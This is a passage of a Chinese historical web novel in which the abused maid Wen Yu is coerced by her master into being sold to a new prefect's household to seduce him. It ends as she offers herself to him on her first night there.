《花面郎君》
1. 打架斗殴
仲秋时节。
萧瑟的晚风从东边吹来,吹落了树梢上的几片枯叶,枯叶再借着风势在空中打个转儿,继而不偏不倚地落入水桶中,掀起一阵涟漪。
温玉毫不在意,伸出通红的手指拂开这几片枯叶,再将水倒入洗衣槽中,继续漠然地搓洗着全府人的衣裳。
她是陈府的丫鬟,因前几日犯了事,这才被罚要洗整个府中的衣裳。
像这种磋磨人的惩罚,温玉从小就习惯了,这府里的丫鬟仆人哪个不是这样过来的。
而她现在唯一的诉求就是早点洗完,早点回去睡觉,不然明日也没有精神干活。
待她好不容易将衣服清洗完,要将一盆废水倒掉时,从外边走来了几个同她一样打扮的侍女。
“温玉,你衣服洗完了吗你就走?”
来者语言不善,温玉根本不想搭理,连眼皮都不抬一下地就要走。
可那几人也没打算放过她,冲上来便将她给团团围住。
更有甚者还用手推了她一把:“温玉,我们叫你呢!怎么聋了听不见啊?”
温玉这才掀起眼皮懒懒地看了眼前找茬的这三个人——兰水、美茵、葛莹,她们三个都是陈府大公子的贴身丫鬟,也是整个陈府最得势的丫鬟。
“温玉,我们的衣服可还没洗呢,你就想偷懒不洗了吗?”
说着,兰水就把一堆脏衣服扔进水盆里,激起的水花溅湿了温玉一身。
“把这些衣服洗完才能回去,听明白了吗?”
“自己的衣服自己洗。”
温玉冷冷道,平日里她还会容忍她们的指使,不过这次不会了,从今往后都不会了。
“你是听不懂人话吗?”
“啪——!”
一道清脆的响声,站在最前面的葛莹突然伸手扇了温玉一巴掌,温玉那苍白的脸上立马显现出五根红红的手指印。
但温玉也没惯着她,紧接着,就立马将手里一盆脏水和衣服全都往葛莹身上招呼,让还没来得及得意的她从上到下,从里到外都浇了个透心凉。
“温玉!!!!”
葛莹气急败坏地大叫,随后将她的利爪伸向温玉要同她打架。
温玉敏捷地躲过,随后扯着她伸出的手臂直往下拽,葛莹直接就被摔得个“狗吃屎”。
而其他两人见了,气得纷纷撸起袖子也要与温玉一同干架。
见势温玉冷冷一笑,拿起手中的水盆,往这两人头上、脸上、身上毫不客气地一顿敲打。
没一会儿,势力三人帮各个都跌坐在地上,原先她们还张牙舞爪的,现在各个却哭得鬼哭狼嚎。
温玉轻笑一声,蹲下身举着个水盆在她们面前晃了晃,还学着她们的架势道:“哭得这么小声,怎么没吃饭吗?”
说着,还假装将水盆从手中要滑落的样子,吓得她们三个哭得更大声了。
哭着哭着,院落里就来了好一伙人。
站在最前面的是一个老气横秋的莫管家和一个满脸横肉的容嬷嬷,她们身后还跟着几个帮忙提灯的小丫鬟。
“呀!你这贱蹄子,干的可都是什么事啊!”
莫管家一见到如此场景,目瞪口呆,接着不由分说地从丫鬟手里拿起一根荆条就要往温玉身上抽。
温玉敏捷地直接一把抓住荆条,让莫管家怎么扯动也扯不出来。别看温玉瘦弱,但从小干的可都是些粗话,力气也并不比眼前这个老男人小。
而莫管家看见自己的威压头一次被人这么反抗,气得胸口直疼,忙按住胸口对其他丫鬟吼道:“快!给我按住这以下犯上的贱蹄子,让主母好好惩罚!”
“不用!”
温玉松开荆条,在另一端的莫管家因惯性差点要往后跌倒,幸好有丫鬟们搀扶。
但温玉毫不在意,她吹了吹手指上按住荆条上刺头时的麻痛,从容道:“我自己去见主母!”
*
主院。
温玉一身不坑地直接跪在院落里,而兰水她们三人则是各个歪歪扭扭地跪在地上,眼圈还泛着红,装作一副弱柳扶风的样子。
别人看了或许会心生怜悯,温玉看惯了,只会心中作呕。
好在,她终于要带着她的母亲,离开这个处处令人恶心的地方了。
因为她犯事了,她就可以像上个月偷了钱的丫鬟一样被主母毫不留情地给赶出去了。
她们所跪在的院落里正对着的是陈府主君陈禹和主母姜媛的门房。
每日到亥时,他们都会褪衣歇息。
如果在深夜里打扰他们休息,会不会被赶得更快?
温玉正想着,门房的门就被大力推开了,出来的人却是陈禹。
他一身玄色圆领袍,眼神极度不耐烦地扫视院落里的所有人。
赵管家见状立马勾着腰,屁颠屁颠地跑过去告状:“叨唠主君了,都怪这个贱蹄子,深夜里不好好干活,竟然公然去殴打其他丫鬟,小的要教训她,她反而还要教训我,实在是太没有王法了!”
“疼~”兰水她们掐准时机配合着“无痛”呻吟了一会儿。
“请主君一定要为奴婢们做主啊!”
他们配合得默契无间,温玉听之都不由地发笑。
“温玉,你笑什么?”
陈禹的一句冷声让温玉打了个寒碜,温玉只是想离开陈府,并不想惹更多麻烦,于是跪地磕头恭敬道:
“主君,奴婢殴打其他丫鬟,还以下犯上,这些罪证奴婢都认,还请主君责罚!”
“你想罚什么?”
陈禹上下打量着温玉,她生的是这里最好看的丫鬟,长着一双桃花眼,略显媚态,但柳叶细眉,薄唇挺鼻,面容苍白,身形消瘦,一袭素衣,倒显得清清冷冷,与她那倔强的性子再搭在一起,更是令人不喜。
而且从前她都是默默受着这股气,宁愿咬牙受罚都不愿意承认错误,而今天却是一口全揽下,这挺叫他意外的。
温玉再磕了个头:“请主君赶奴婢和奴婢的阿娘一起出府,温玉会一辈子谨记主君的善意。”
原来是因为这个。
陈禹冷笑一声,走上前,俯身用手钳制住温玉的下巴,迫使她抬头:“可这样让你走出陈府未免就太轻松了。”
温玉强
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忍着痛:“那请主君在赶奴婢出府前任意惩罚。”
“哈哈哈。”陈禹掐着她的下巴将脸翻来覆去地看,“如果你没有这张脸的话,说不定我还会真的放过你。”
“那就请主君划破奴婢这张脸。”温玉毫不犹豫道。
美貌在地位低的女子身上来说,不是幸运,反而是灾祸。
所以这容貌,为了自由,她弃了也无所可谓。
“那可不行!”
陈禹掐着温玉下巴的手用力一甩,将她毫不客气地甩到冷硬的石头板上。
随即站起身,用高位者的姿态轻睨着温玉:“你的脸我可还是有大用处的,近日青州来了位新郎君,你这么想出去,不如?我将你送给他如何?”
“奴婢和阿娘一起去的话,去哪都无所谓。”
温玉从地上爬起来,继续跪好,自己和母亲的性命都被攥在面前这位男子身上,她要做的就是顺从,顺从主君,主君开心,她才有好去处。
“你这是在和我谈条件?”陈禹抬起一条腿狠狠地踩在温玉肩上,她越是不服,陈禹就越想教训她。
“温玉没有,温玉一切都听主君的。”
男人的脚力并不小,温玉只能更弯着身子,才能减缓一点疼痛。
陈禹冷哼一声,不再用脚压,反而在她肩上继续踩踏:“温玉,你听好了,你可以去那位郎君的府中,但你娘必须得留下。还有,我送你过去可不是去当什么丫鬟的,而是让你——努力爬上他的床!”
“奴婢……不愿意。”温玉头压得很低,撑在地上的手紧握成拳。
旋即,踩在肩上的脚往下滑,对准胸部就是一踢。
温玉再次被踢倒在地。
陈禹目光寒冷,语气充满了威压:“温玉,这里还轮不到你跟我讨价还价。你不去,你不仅连你母亲都救不了,我还要让你去做陈子诩的陪房,生生世世都只能被人践踏!”
陪房……陪房,这就是自己逃脱不了的灾祸吗?
温玉在心中冷笑,可怜天下女子皆命不由己,更别说是一个低贱的丫鬟了。
但如果真的要在一个不知名的郎君和纨绔子弟陈子诩中选一个的话。
她还不如选那位新郎君算了,都是一样的恶心,还不如选一个眼不见为净的好。
思衬后,温玉深吸一口气,隐忍住所有的情绪,再次从地上爬起来,跪好,磕头恭敬道:“主君,奴婢…愿意去新郎君府上。”
“哈哈哈,好!”看温玉如此顺从,陈禹颇为舒心,“温玉,我就知道你不会让我失望的,你空有这样一副美貌,不往上爬,可真是可惜了。”
“谢主君赞赏,但温玉无论爬到哪个位置,永远都是主君的丫鬟,永远是陈府的人。”
温玉垂眼认真恭维道,她知道陈禹就爱听这些话。
果不其然,陈禹就拍手叫好,还吩咐起容嬷嬷来帮她:“容嬷嬷,这几日里就少给她派点活,好生地教她怎么伺候男人,怎么勾引男人,别到时候进了府一无是处!”
容嬷嬷横肉上堆砌出诡笑,回答道:“是,主君,小的一定会好好教导姑娘!”
2. 选侍女
容嬷嬷说是教,实则是带温玉去了一个小黑屋,再叫那些看不惯温玉的人过来,各个往她身上撒气,把她打成奄奄一息才放过。
她们才不管温玉出去能如何,只要温玉能活着出去被主君送走就行,后面到其他人府上,是死是活,是福是祸,都跟她们没关系。
于是待她们一顿凌辱,出了些气后,才施舍般地扔了碗只有水没有米的米粥给温玉吃。
其中有人还假惺惺道:“温玉,少吃点,要是胖了,新主君怕是也不会喜欢你这身贱骨头吧?”
“哈哈哈哈!”
她们渗人的笑声响彻整个屋内,温玉不想去听,也不愿去听,她努力地用手在地上攀爬着,去够她一日里唯一的一顿饭。
只有这样,她才能勉强活下去,逃过这些人的欺凌,从而带着母亲好好生活。
而屋里的人们见她这个样子,嘲笑的更猛烈了,更有甚者伸出脚轻轻一踢,让那碗本就少得可怜的白粥一下全都倾洒在地。
那人还故作惊讶的样子:“哎呀,温玉,我不小心踢翻了你的碗,该怎么办呀?”
温玉的身形一顿,接着竟毫不犹豫地拿起那个被打翻的空碗,当着众人的面直接舔了起来。
没办法,她得活下去,而碗壁上仅残存的一些汁水也能足够她存活至几日后了。
“哈哈哈哈哈哈。”
屋外的笑声笑得更加厉人,唏嘘声不断。
“温玉呀温玉,没想到你也就这一点出息了。”
那些欺凌她的人看着温玉这幅落魄的样子,很是心满意足,她们就是要将她拖入泥塘,身上沾满污臭,成为全天下最低贱的人。
直到折辱累了,她们才悠然地离开了这间小黑屋,而还把温玉继续留在这里,为的就是要让她整日都与黑暗、蚁虫以及发馊的糟食一起度过,终而成为一个发烂发臭、不值一提的贱人。
*
温玉再一次见到阳光时她已然不记得是几天后了,只记得当时开门的阳光太过光亮,她的眼睛差点要被刺瞎了。
“温玉,不要再装死了,快起来收拾一下,主君要见你!”容嬷嬷一手捏着鼻子万般厌弃地说。
温玉慢悠悠地从地上爬了起来,几日进食少的可怜,她身形在日光下显得更消瘦了些。
“等等!”容嬷嬷叫住要出去的她,“温玉,见到主君不会要告状吧?”
“不会的,嬷嬷。”
温玉虚弱地应道,强撑着把身子支起来。
“我一定会在主君面前好好说你的好话的。”
“这几日,多亏我教导,果然,性子收了不少啊!”容嬷嬷讥讽道,随后用扇了周遭的空气,“快点去偏房洗一洗,真是臭死人了。”
“是,嬷嬷。”
温玉加快了脚步,回到丫鬟们住的偏房。
从院落的井里打了一桶凉水出来。
丫鬟是没有权利洗热水澡的。
她颤颤巍巍地用极快的速度洗完冷水澡,又从屋内选了件干净的素衣换上。
在从偏房离开前,她忽而注意到桌上的几个瓷杯,那是前几日兰水她们得了陈子栩的赏赐用来喝茶。
她又从门口折返回来,拿起瓷杯往地上一扔。
“哐当”一声,瓷杯四分五裂。
温玉顺走了一块最小最锋利的瓷片。
等温玉从偏房走出来后,容嬷嬷还是不放心,硬要跟着她一起去见主君,走在路上还顺带塞给她一个又冷又硬的馒头,恶狠狠道:“快吃,别等下在主君面前饿晕了,还怪我!”
“谢谢嬷嬷。”温玉点了点头,拿起馒头生啃了起来。她饿急了,馒头尽管再难以下咽,她也狼吞虎咽地吃完了。
可换来还是嬷嬷一句讥讽:“瞧你那样,哪还有郎君能看上你?你就等着被赶出来,继续留在陈府中刷恭桶洗衣裳吧!”
温玉不说话,默默地往前走。
待二人走到主君书房中时,陈禹从书桌前一抬头,见到温玉,眉头却直皱了起来:“怎么越来越瘦了?”
确实,温玉现在在他面前就是一副苍白消瘦的样子,像被人吸食干了精气。
而一旁的容嬷嬷赶紧找补起来:“主君,温玉好学,整日整夜都在学习,自然是熬垮了身子。”
“好学?”陈禹像想到什么好玩的事情,露出一脸好玩的笑容道,“那表演一个给我看看,我倒是想知道这好学出来是什么结果。”
“额……”容嬷嬷心虚地背后出了一些冷汗,她压根就没教温玉那些男女之事,为的就是等着温玉被另一户人家赶出来,继续回到陈府受她们的磋磨。
“是,主君。”
没想到,温玉一口应下。
只见她缓缓走到坐在椅子上的陈禹面前,漠然地坐在他的腿上,伸手要去抚摸他的脸。
可刚要碰上时,陈禹突然脸色大变,紧紧攥紧她的手质问道:“这是怎么一回事?”
“……”
温玉低头不回答,豆大的眼泪从脸上滑过,她本来就是清冷那一挂相,现在又瘦又白,加上哭得小声隐忍,柔弱的样子更舔几分我见犹怜。
陈禹顺势火大了起来,将温玉的手扳过来让容嬷嬷看:“你最好给我解释一下,这是怎么回事?”
容嬷嬷抬眼一看,原来是温玉白皙的手臂上多了一条又长又红如刀刻般的伤痕,旁边还有很多乌青相佐,惨烈极了。
乌青她认,可这血痕也不是自己弄的啊?
容嬷嬷转头又看向了温玉,发现她正对着自己弯唇一笑,瞬间就明白了是怎么回事,恼怒地立马指向温玉道:“主君,是……是温玉她自己弄的,还请主君明鉴!”
温玉一听,立马爬到陈禹怀里低声啜泣。这是她从兰水她们那学的一招,没想到这么好用。
果然,陈禹更加勃然大怒了起来:“你是说她无缘无故给自己弄得全身是乌青,还有用刀划自己,你是当我蠢吗?”
容嬷嬷找不到理由,只能心虚地解释道:“可…可能…是温玉学习的时候不小心撞到了什么东西吧。”
“放肆!”陈禹重重地用手拍了一下桌板,“你知道我是要将她送给谁吗?是要送给新上任的青州刺史,你竟敢要毁我这一向上爬的梯子,你是不想活了吗?”
主君生气的样子吓得容嬷嬷立马跪了下来:“主……主君息怒,手上有点伤没事的,小的以后会认真照看好温玉姑娘的。”
“还有以后?今日我就要将她给发卖给人牙子,你这岂不是误了我的事!”主君眉头紧锁,“你快给我想个解决方案出来,不然明天你就去给我刷恭桶!”
“主君,我有法子。”爬在陈禹怀里的温玉又直起了身子,从他身上退下,恭敬道,“我可取些脂粉涂抹在手臂上,这样只要不凑近看,就不会被人发现了。”
“对对对。”容嬷嬷附和道,“女子爱涂些脂粉,就算被旁人看见也不会说些什么的。”
“那你还不快去取!”陈禹催促道,容嬷嬷得令就立马爬起来,起身出去替温玉寻些脂粉。
而屋内此时便就剩下陈禹和温玉两个人了。
刚温玉第一次那么主动,陈禹还有些回味,便伸手又去拉温玉:“温玉,你这么聪明,我突然有些不舍得将你送人了怎么办?”
温玉敏锐躲开,面上冷冷道:“还请主君以大局为重,奴婢始终只是主君的一枚棋而已。”
陈禹原先就是一个农民,娶了地主家的女儿才发的家,后面又将自己的女儿送给五六十岁的县令做续弦,这才在青州成了赫赫有名的富商。
温玉知道,所有人都是陈禹向上攀登的棋子,无论妻女,还是低贱的奴隶,只要能为他所用,他都会物尽其用,在所不惜。
果然要强拉她的手就被她一句话而扫了兴致,收了回来。
随即他单手敲了敲桌子同温玉开始郑重地谈起条件来:
“青州刺史,人性高洁,不愿意收礼,我只能将你发卖给人牙子,而人牙子会将你送到刺史府供刺史挑选。只要你能被刺史府里的人挑中选为丫鬟,那你母亲,我就会用药给吊着性命。但如果不能,你就让你母亲死在这个冬天吧。”
最后一句带着威胁,温玉也知道,只要自己没被选上,不仅母亲会死,她也会死。
她认真点了点头道:“主君放心,我一定不会让主君失望的。”
*
在交接给人牙子之前,陈禹还是让容嬷嬷将温玉好生打扮。不仅往她手臂上抹了白色脂粉,脸上也清扫点胭脂色,才有了点活人气色,再往唇上点点朱红,温玉那股天成媚而不妖的劲顿时就激发得活灵活现。
连买通的人牙子也夸手叫妙,还说带去供刺史府里挑选的都是些相貌平平的姑娘,陈禹的丫鬟一定能够被选上。
这话叫陈禹开心,他又往人牙子手里塞几块银两:“事成之后,陈府必有重谢!”
人牙子也激动地叫了几句“大善人”后,就用绳索捆住温玉的双手,带她离开陈府。
第一次离开陈府,温玉难得地闻到了新鲜的味道,有花草的清香、有街边小吃的鲜香、糕点的酥香……
陈府外的世界如此新鲜美好,温玉觉得自己这一次的选择是选对了。
人牙子牵着温玉继续在大街上走着,行至一处客栈门口便走了进去。
进去一看,温玉发现这里竟然站了七八十个同她一般大的丫鬟,她们同样用好奇地眼神看着自己。
“都给我站好!”人牙子对着众人轻咳一声道,“刺史府的人马上就来,你们能不能被选中就看你们自个的本事了。”
丫鬟们点了点头,开始排列站好。因为客栈每张桌子间的空隙很少,一排只能站三个,有些身强力壮的丫鬟挤过所有人就轻而易举地站在最前排,而温玉这种看起来弱不禁风的就自然被挤到了最后一排。
但同样被挤到最后一排的还有一位丫鬟,她眼尾上挑,容貌张扬,看起来就是个精明的人。
她根本都不屑于同那些人站在最前排,而是双手抱胸,好整以暇地看前面人争来争去的。
好在,人牙子也看不惯这群人挤来挤去的,伸手强制把这些丫鬟们排个位,顺势将温玉和那位张扬的女子都带到最前面。
张扬的丫鬟看着温玉跟着自己一起从后面拉到前面,好奇道:“你原是哪个府上的?”
温玉选择不回答,陈禹说过刺史不喜欢收礼,如果被外人知道陈府是靠这种手段,温玉就别想被选上了。
“不说,我也知道,估计你的主家也塞了很多钱给人牙子吧?”张扬的丫鬟十分得意道,“我和你一样,但是我不喜欢和别人共事一夫,我劝你还是死了想入刺史府的心吧!”
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“……”
温玉沉默,这么自信的人,她还是第一次见。她还是有点想不明白,明明都是丫鬟,还是要争出个三六九等来,一起好好的不行吗?
张扬的丫鬟见温玉不回答,还以为她是被自己给震慑到了,语气更加犀利道:“选人的时候,记得往后稍稍,不要碍了我的风光!”
温玉乖觉地往旁边挪了几步后,张扬的丫鬟才放过头,昂着头,想要比这里的所有人都高一头。
接着,屋外传来一声:“徐管家到!”
人牙子这才急急忙忙叫各个丫鬟都把头低下来,在这里,见主家敢抬头的就是对主家不敬,是会被直接乱棍打死的程度。
于是那丫鬟高昂的头颅不得已低了下来,引来身后其他丫鬟发出一阵阵暗笑,她也只能打碎了牙齿往肚子里咽。
随后,人牙子就马上把徐管家接了过来,一脸笑迎迎道:“徐管家,你说要选丫鬟,我可为你精心挑选了很多好货呢!”
徐管家抬手扔了一个钱袋子给他:“多谢,我自己看看。”
说完便开始打量着这些丫鬟。
温玉低着头,只能看到一双沾满泥土的靴子,想必这位管家是有在从事什么种田植桑的活动吧。
正望着出神,就听他说:“最后面三个,我要了吧!”
温玉震惊,选这么快。
人牙子也是同样诧然,连忙进言:“徐管家,这前面三个丫鬟,生得貌美,又很能干,要不也挑两个走吧?”
徐管家抬手拒绝道:“美丽有什么用?我要的是能干活的人,而不是花瓶。”
“这……”人牙子很着急呀,他收钱的一个都没选上,这钱可不就白收了吗,“徐管家,你再多挑挑。”
“不必!”徐管家语气很坚决。
“扑通!”
忽而,温玉就明晃晃地当着所有人的面前都跪了下来。
徐管家疑惑:“你这是干什么?”
温玉暗地里用手掐了一把自己的大腿,眼珠子就如断了线般哗哗地往外流:“求管家收留我!”
“哭是没用的。”徐管家皱了皱眉,大庭广众之下,倒显得他把她怎么了似的。
“不是。”温玉哽咽道,“管家有所不知,我需要这份工作。我父亲死了,母亲生了重病,如若管家不收了我,我就要被发卖去青楼,我不想去青楼。”
“嘶——”徐管家吸了一口气,又问道,“那你会些什么?”
温玉擦干眼泪,认真道:“别看我瘦,从前家里是地主家里的农户,我从小就帮着父母在地里干活,种田养桑什么都会。”
听她此言,徐管家若有所思地点了点头,他此次前来便是为了郎君挑几位丫鬟去精心伺候芙蓉花的。
这位姑娘看起来柔弱,但能干农活,伺弄花草应该也不在话下。
继而徐管家还是松了口:“那你也一同进刺史府吧!”、
温玉惊喜,连忙磕头道:“谢谢管家!谢谢管家!”
而温玉身旁那个张扬的丫鬟看傻眼了,也跪地学样道:“管家,她会的我也都会,求管家也带我一起走吧。”
“不行。”徐管家摇了摇头,郎君本就不喜人伺候,府内也没多少仆从,要是知道自己弄了这么多丫鬟过来,肯定会有些恼的。
“管家,我比她壮,还比她力气大,什么活都能干的。”张扬的丫鬟还在努力为自己辩驳,“床上服侍郎君也是可以的。”
“你在说什么?”徐管家眼神威严地盯着她,世风日下,竟说出这么伤主家德行的话,可真是大逆不道。
她也知道自己说错话了,委屈地看了一下人牙子,人牙子立马打哈哈道:“这不巧了吗?徐管家,我这买四赠一个,你挑我四个丫鬟,我再送你一个,不亏的。”
“你这……不是强买强卖吗?”徐管家质问道,“你这样,我谁都不选了!”
“诶,徐管家!”人牙子紧紧拉住徐管家的袖子,依旧不依不饶地劝说道,“这几个丫鬟都是苦命的娃,被爹娘卖来的,你就多收一个,就是等于挽救一家性命呀!”
“我又不是什么大善人,要挽救这么多人。”徐管家扯出袖子,毫不客气地拒绝道。
“唉!”
人牙子实在想不出什么好话来劝时,温玉又突然出声道:“敢问管家是雇我们做些什么的?”
徐管家整理好被扯乱的衣裳漠然道:“新刺史府内种了十几颗芙蓉树,没人打理,所以买些丫鬟过来伺弄一下。”
温玉:“那具体是几棵树呢?”
徐管家顿了一下,认真回想道:“大概十二颗树吧。”
“那我觉得管家招五个人刚好合适,修建花枝十二颗树得两个人吧,那挑粪施肥也同样需要两个人,而清扫落叶便还再需要一个人。且不说现在合理,那芙蓉花只在秋季盛开,其他时节,主君不会有想伺弄其他花草的需求吗?”
句句说得在理,徐管家犹豫了很久,最终还是破格道:“行,那我就先收了你们五个,如果有谁惹郎君不快了,我不管什么都是要将你们给赶出府的!”
“是,谢过管家。”被选中的丫鬟齐刷刷地行礼道。
继而,人牙子就带着她们跟着徐管家一起上了马车,去见一直活在他们口中的郎君。
这次也是,温玉第一次用丫鬟的身份坐的马车。
3. 初见郎君
徐管家来时只备了两辆马车,一辆他与人牙子同乘,其余一辆只能让五个丫鬟挤一挤坐了。
刚一坐下,就有丫鬟过来与温玉搭话:“姐姐,你好厉害呀,一句话就让管家收了我们。”
她皮肤偏黄,但有一双圆眼,说话时很灵动可爱。
温玉摇摇头谦虚道:“没有,我只是为自己争取罢了。”
“姐姐真好,我叫雨燕,那姐姐叫什么?”雨燕摇头晃脑地问道,身子也紧紧靠在温玉身上,“以后入了府还想依仗着姐姐呢!”
温玉从容地笑了一下:“我叫温玉,以后我们互相帮忙就行。”
“好,温玉姐姐。”雨燕甜甜地答道,然后目光投向其他几位丫鬟,“那其他姐妹叫什么名呀?”
一个高高壮壮的丫鬟用粗声答道:“我没有名字,但大家都叫我阿莫。”
另一个长脸的丫鬟也低声答道:“我叫喜妹,大家唤我阿喜就行。”
马车上所有人都做完自我介绍后,都把目光投向了另一个用鼻孔看人的丫鬟身上,许是目光太过炽热,她最终还是放下自己的架子道:“我叫许欢,以后没有我的允许,都不能接近府里的主君。”
这话说的温玉和另外几个丫鬟面面相觑,继而都不约而同地摇了摇头。
好在,雨燕活泼,又抛出几个有趣的话题,让大家热聊了起来,才不至于让这段路程无聊。
就这样,在有说有笑中,她们到了刺史府。
下了马车,徐管家叮嘱道:“我待会带你们见刺史,大人姓张,大家见了叫他张郎君或郎君即可。”
“是,管家。”
丫鬟们规规矩矩应道,随后跟着徐管家和人牙子进了刺史府。
刺史府像是刚装修的样子,无论是墙上砌的油漆还是路上铺的石板一切看起来都是新的。最主要是这里被花草环绕,进来就能闻到扑鼻的花香,听到清脆的鸟鸣,看到流动的清池,欢悦的鱼儿。
温玉觉得这里好极了,比陈府只有一股铜臭味好多了。
徐管家带着众人走过幽静小道,穿过假山,才达到刺史府的后院。
而后院种满了芙蓉树,树上的一簇簇红色的芙蓉花也开的正艳,他们口中所说的那位郎君正静静地站在树下赏着花呢。
他赏花与旁人不同,他没有从中摘撷下一朵最大最红的花来捏在手里玩弄,反而还用手轻轻托举着娇弱的花朵,鼻尖轻碰,深嗅一口,如痴如醉。
所有人都在感叹这位郎君如天仙下凡般好看,气度非凡。唯有温玉突发奇想,想着他那样好看的神情会不会在床上出现。
*
似乎是察觉有人来了,张清时停下赏花的动作,抬眼看向了周遭。
看到徐管家带着一众丫鬟后,他温和一笑道:“来得正好,我这些花都渴了,辛苦你们帮忙浇浇水了。”
温润如玉,礼貌的语气温玉很少从那些高高在上的主子们嘴里听过,或者说从未。
所以在场的各位都愣了一下。
好在,下一秒,一道粗粝的声音打断了所有人的幻想。
“都还愣着干什么?一个个都聋了瞎了,活都不会干了?”
人牙子凶神恶煞地盯着丫鬟们后,温玉便和其他丫鬟们都迅速分开,去拾点工具,干起活来。
“人牙子,她们都是女娘,说话还是温和些好。”张清时看着被吓坏的丫鬟们,走过来特意提醒道。
“啊呦,不好意思,张郎君,我就一个粗鄙之人,还请见谅,见谅!”人牙子见势,凶煞的脸上立马换上一副虚情假意的笑容,“张郎君,要我说,她们就是一群奴隶,你大可放宽心使劲使唤、蹂躏她们,如果玩坏了,小的再给您换一批就是。”
“你这说的是什么话!”张清时好看的面孔出现了一点怒意,“以后这样的话就不要再在我的耳边说了。”
“呸呸呸!小的该死,小的该死!”人牙子自知自己说错话,连忙给自己扇了好几个巴掌。
“好了。”张清时转身,他没有看人自虐的癖好,“徐管家,给他些赏钱吧。”
闻言,徐管家又从袖兜里拿出一袋铜钱给了人牙子。
人牙子一见,脸色稍顿,随后还是堆起笑容:“谢谢郎君,没事小的就告退了。”
说完,他就变了脸色离开了,最不想和当官的打交道,给的钱又少要求又多,还要硬给笑容。
还好,他帮忙引进的人总算是进去了,也能小赚一笔。
待人牙子走后,张清时朝着徐管家问道:“这些女娘们的住处你有给安排好吗?”
“都安排住在离主院远一些的地方,除了白日里您会见到以外,其余都见不到的。”徐管家汇报道。他家郎君不喜人,只喜静,所以尤其是这些丫鬟们,都要给安排地离郎君远远些才好。
“嗯。”张清时满意地点了点头,“今晚备些好菜吧,都是离家的女娘,好生招待一下。”
“是,郎君。”徐管家应道,便随着张清时一同离开了。
留下了后院一群单独干活的丫鬟们。
雨燕先挑起了话头:“诶,姐妹们,你们觉得这位郎君怎么样?”
“当然是帅呀!”许欢用剪刀“咔嚓”剪下一根粗壮的树枝,对着雨燕警告道,“你可别对郎君起什么坏心思。”
“拜托,一直起心思的只有你好吧。”雨燕愤愤道。
阿莫也跟着打抱不平道:“对啊,这么年轻又有才华,都还没娶妻,怕不是身体有什么大毛病吧?”
“听我阿娘说,男子不娶妻的只有两种可能。”阿喜突然降低了音量,“一是断袖,另一个则是身体不行。”
“啊!”雨燕感慨道,“那某人怕不是要失望了哦?”
许欢冷哼一声,生气地拿着剪刀咔咔乱剪一通。
“对了,温玉姐姐你说呢?”雨燕把话题引到一旁默不作声的温玉身上。
而温玉一想便想到了自己刚才的想法,立马绷着脸色道:“府内议论郎君不好。”
“好吧。”雨燕悻悻道。
随后,这场关于张郎君到底怎样的话题就到次打住,她们各个也开始专心干起活来。
头一次她们干得不熟练,加上聊天一干就干到傍晚。
到了傍晚,徐管家还叫她们不用干了,早些回房歇息。
这待遇真是不同往日,温玉也感受到从未有过的轻松。
只有一点不喜欢,那她们住的地方实在是远,要从后院走到另一个偏僻的西院,拖着疲惫的身体回去实在是有点累。
但是打开西院门,一看见露天的石桌上摆满了很多可口热乎的饭菜。
众人的疲惫感就少了一大半,而剩下的一大半便就是惊喜了。
“我的天呐!”雨燕激动地叫了一声,“没想到我有朝一日也能过上主子的生活。”
阿莫和阿喜也是一副痴汉样,迫不期待地赶去石桌上去享用没食。
温玉也不例外,肚子早已饥肠辘辘,她也好久没见过这么多好吃的,便一同坐下安静地狼吞虎咽。
许欢却慢悠悠地在后面走着,还冷嘲道:“真是一群没见过世面的家伙。”
“别管她,我们先吃,让她吃剩下的她就知道错了。”雨燕咬着一块大鸡腿,含糊不清道。
其他人嘴里也塞满了东西,根本不想搭理许欢。
许欢见几个人迅速干饭的样子,也急了:“喂!好歹给我留些啊!”
头次吃到这么好吃又多的食物,丫鬟们各个都是吃得饱饱的,甚至有些人还打起了饱嗝。
“喂,你们谁洗碗?”
许欢吃饱喝足后提出一个非常犀利的问题。
俗话说得好,一个和尚挑水喝,两个和尚抬水喝,三个和尚没水喝。
在这里,都不认识的五位丫鬟,她们相对而言地位都是一样的,谁都不能命令谁,而活没有明确的分工,大家都会想偷懒。
果真,这个问题让大家都面露了难色。
不是不愿意洗碗,只是不愿意吃亏。
“我洗吧。”
温玉忽而出声道,让众人都松了一口气。
接着,雨燕也替大家想了个法子:“温玉姐姐,要不这样吧,今天你洗碗,明天我洗,后天阿莫洗,大后天阿喜洗,最后是许欢洗,大家同意吗?”
“我同意。”“我也同意。”
阿莫和阿喜都毫不犹豫地回答道。
唯独许欢犹豫了一下:“我还要洗碗吗?”
“废话。”雨燕白了她一样,“你也是丫鬟好吧。”
“好吧好吧。”许欢露出一副很勉强的样子,甩了脸色就进屋
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休息去了。
阿莫和阿喜也没事,便也回房了。
雨燕看着桌上一堆饭碗道:“温玉姐姐,要不我帮你?”
温玉摇摇头,对她笑道:“没事的,你歇息吧。”
在支开了所有人后,温玉独自快速地将碗洗干净,然后还回厨房。
还完碗,她也没急着回屋。
反而在这偌大空寂的刺史府转了起来。
秋天的天总是容易黑,除了小厨房和门外亮着灯以外,其余都是黑着的。
温玉只能凭借这一点点月光去找寻主院的影子。
她既然选择来了这,她就要好好完成主家交待的任务。
而今夜,独自见张郎君就是完成任务的第一步。
幸好,主院的书房还亮着灯。
温玉提起裙摆小心翼翼地走了过去。
走至门边,先将耳朵贴在门上,听到只有毛笔划过纸面的声音后,温玉才安心地敲了三下门板。
“谁?”
屋内声音尽管充斥着警惕,但如玉般温润的声音温玉一听便就知道是张郎君的。
她在门边悄声应道:“郎君,是我,今日里新入府的丫鬟——温玉。”
随即,门从里面打开了。
一个身着红袍高大的身影笼罩住了温玉,她才近距离看清张郎君的样子。
一对粗而浓的眉毛,不显凶相,再与他那一双清澈如明月般的眼眸搭在一起,到像是如浴在和煦的春风里。
刚好屋外一阵冷风吹起,温玉穿着单薄的衣裳哆嗦了一下,张清时便就再拉开了些门:“有什么话,进去说。”
进了屋内,案台上的烛火照亮了整个房间,也照亮了张清时的神情。
他好像有些疑惑,又有些无措,指节分明的手搭在桌案上一下屈起一下放松,但面上还是很稳重地道:“温玉?这么晚找我有何事?”
温玉行了一礼,直白道:“奴婢过来,是想问郎今晚要不要——奴婢伺候你。”
后面五个字虽然说的小声,但咬字十分清晰。
传到张清时的耳朵时,他的手指已经完全屈起,眉头也跟着紧皱了起来:“这是你从前府里这么教你的吗?”
“没有。”温玉选择隐瞒,“郎君是奴婢第一个侍奉的主君。”
